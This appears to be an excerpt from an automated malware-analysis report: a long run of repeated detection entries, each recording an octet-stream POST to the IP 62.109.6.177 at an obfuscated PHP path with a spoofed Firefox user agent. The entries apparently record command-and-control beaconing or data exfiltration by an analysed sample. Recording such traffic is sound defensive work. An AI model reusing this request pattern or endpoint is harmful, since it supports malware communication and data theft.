Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1876Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1876Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 1904Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2580Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.6.177Content-Length: 2584Expect: 100-continueConnection: Keep-Alive
